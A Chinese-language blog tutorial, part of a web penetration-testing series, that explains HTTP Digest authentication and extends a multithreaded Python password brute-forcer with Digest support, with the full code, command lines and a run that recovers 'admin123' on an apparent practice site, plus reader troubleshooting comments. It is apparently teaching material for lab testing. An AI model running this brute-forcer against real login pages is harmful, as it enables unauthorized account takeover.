利用Python进行Web渗透测试(十二):密码暴力测试HTTP摘要认证

本篇涉及:

  • HTTP摘要认证
  • 在Python密码暴力探测器中支持HTTP摘要认证

HTTP摘要认证

在上一篇利用Python进行Web渗透测试(十一):使用Python编写一个密码攻击测试器中我们介绍了HTTP的基本认证,也了解了HTTP基本认证的一些缺点和不足。

作为一个认证方式,HTTP基本认证的最大不足就是安全性不够。首先是它使用的Base64编码加密简直弱爆了而且明文传输容易被拦截窃取;其次,HTTP基本认证有一个搞笑的Bug,就是使用其登录之后,登录状态会一直保存着,除非关闭了浏览器或清除浏览器缓存;还有一个就是基本认证容易遭受到重放攻击(攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的)

为了弥补以上基本认证的种种不足,在HTTP1.1中,定义了一个HTTP摘要认证(Digest Authentication)。

HTTP摘要认证的原理与基本认证很相似,都是由客户端发出一个没有认证的请求,之后服务器响应一个带有www-Authenticate头的响应,指明请求需要的认证。

与基本认证不同之处在于,摘要认证使用MD5算法对用户名和密码加随机数进行哈希。

通过对用户名和密码进行哈希,可以实现密码的隐藏,而加入随机数,则避免的重放攻击。

对HTTP摘要认证的介绍就点到为止,需要更加详细的介绍的同学可以查看《HTTP权威指南》这本书。

下面,我们看看如果对提高了安全等级的HTTP摘要认证进行密码暴力测试。

暴力密码测试HTTP摘要认证

熟悉requests模块的同学应该知道requests模块提供了基于多种身份认证的支持,上一篇对基本认证的测试也是通过requests模块中的属性进行的。

requests模块的对身份认证的支持通过auth子模块来提供。

通过下面的代码,就可以完成一个HTTP摘要认证(示例来源于官方文档):

from requests.auth import HTTPDigestAuth
url = 'http://httpbin.org/digest-auth/auth/user/pass'
requests.get(url, auth=HTTPDigestAuth('user', 'pass'))
# 返回
Response [200]

在此,我们借助于requests的auth模块,改进一下我们的密码暴力测试器,添加对HTTP摘要认证的支持。

首先在上一版代码的基础上引入requests模块的auth子模块:

from requests.auth import HTTPDigestAuth

因为我们要同时支持基本认证和摘要认证,需要一个参数能够指定认证的方法。所以,需要添加一个参数-m,首先在usage()函数中添加:

# 程序用法
def usage():
    print("用法:")
    print("     -w:网址 (http://wensite.com/admin)")
    print("     -u:用户名")
    print("     -t:线程数")
    print("     -f:字典文件")
    print("     -m:认证方式")
    print("例子:bruteforcer.py -w http://bxu2713810459.my3w.com/admin -u admin -t 5 -f commom.txt -m digest")

接着还需要对request_performer()类添加一个method参数,在run()方法中添加一个对method的判断:

class request_performer(Thread):
    def __init__(self,name,user,url,method):
        Thread.__init__(self)
        try:
            self.password = name.split("\n")[0]
            self.username = user
            self.url = url
            self.method = method
        except Exception as e:
            print(e)
    def run(self):
        global valid
        if valid == '1':
            try:
                if self.method == 'basic':
                    r = requests.get(self.url,auth=(self.username,self.password))
                elif self.method == 'digest':
                    r = requests.get(self.url,auth=HTTPDigestAuth(self.username,self.password))
                if r.status_code == 200:
                    valid = '0'
                    print("[+]发现密码:"+ colored(self.password,'green'))
                    sys.exit()
                else:
                    print("无效的密码:"+ self.password)
                    i[0] = i[0] - 1
            except Exception as e:
                print(e)

然后在start()函数中添加接受method参数:

def start(argv):
    banner()
    if len(sys.argv) < 5:
        usage()
        sys.exit()
    try:
        opts, args = getopt.getopt(argv, "u:w:f:m:t:")
    except getopt.GetoptError:
        print("错误的参数")
        sys.exit()
    for opt, args in opts:
        if opt == '-u':
            user = args
        elif opt == '-w':
            url = args
        elif opt == '-f':
            dicts = args
        elif opt == '-t':
            threads = args
        elif opt == '-m':
            method = args
    try:
        f = open(dicts, 'r')
        passwords = f.readlines()
    except:
        print("打开文件错误:", dicts, "\n")
        sys.exit()
    launcher_thread(passwords,threads,user,url,method)

同时用于启动线程的launcher_thread()函数也需要将method参数添加进去:

def launcher_thread(passwords,th,username,url,method):
    global i
    i = []
    print("==============================================")
    i.append(0)
    while len(passwords):
        if valid == '1':
            try:
                if i[0] < int(th):
                    passwd = passwords.pop(0)
                    i[0] = i[0]+1
                    thread = request_performer(passwd,username,url,method)
                    thread.start()
            except KeyboardInterrupt:
                print("用户停止了程序运行。完成探测")
                sys.exit()
            thread.join()
    return True

验证新的程序

代码修改完成后,我们来测试一下新的程序。
我们已经知道了http://www.scruffybank.com/Admin/这个链接是使用的基本认证,那么其他的链接呢?我们可以在请求头中进行判断的:

先看看http://www.scruffybank.com/Admin/的请求头:

再看看我们在编写资源探测器中 http://bxu2713810459.my3w.com/archives/180.html 发现的robots.txt文件中禁止搜索引擎爬虫爬取的链接:/backoffice

我们访问它,发现也需要登录认证,那就跑一遍我们的新密码暴力测试器吧:

我们首先使用基本认证方式试试,在命令行运行:

python passBruteForcer2.py -w http://www.scruffybank.com/backoffice/ -u admin -t 5 -f pass.txt -m basic

结果并没有测试出密码来,我们再换成摘要认证的方式:

python passBruteForcer2.py -w http://www.scruffybank.com/backoffice/ -u admin -t 5 -f pass.txt -m digest

诶,提示我们发现了密码:admin123,看来已经成功了。我们使用这个密码在网页上登录看看:

登录成功了,我们在请求头中看看:

这确实是一个使用了HTTP摘要认证方式进行认证的页面。
这样,我们就完成了我们的密码暴力测试器的新功能添加——支持HTTP摘要认证。

下一篇,我们将介绍如果暴力测试基于表单登录的认证方式。

猜你也喜欢

  1. testcc说道:

    大神,用你的程序对http://httpbin.org/digest-auth/auth/user/pass 似乎无效啊,不知为何

    1. zmister说道:

      无效指的是扫不出密码来还是怎么着?如果是扫不出来,重新找个字典吧。

      1. testcc说道:

        手工可以登陆上去,字典也添加了那个正确的密码,就是没有提示

        1. zmister说道:

          你使用的是基本认证还是摘要认证,http://httpbin.org/basic-auth/user/passwd的是基本认证

        2. zmister说道:

          如果基本认证不行的话,替换requests的get方法里面的auth为HTTPBasicAuth。本质上都是利用requests的auth认证模块进行。

  2. sdfw说道:

    大神,用户名怎么添加字典txt

发表评论

电子邮件地址不会被公开。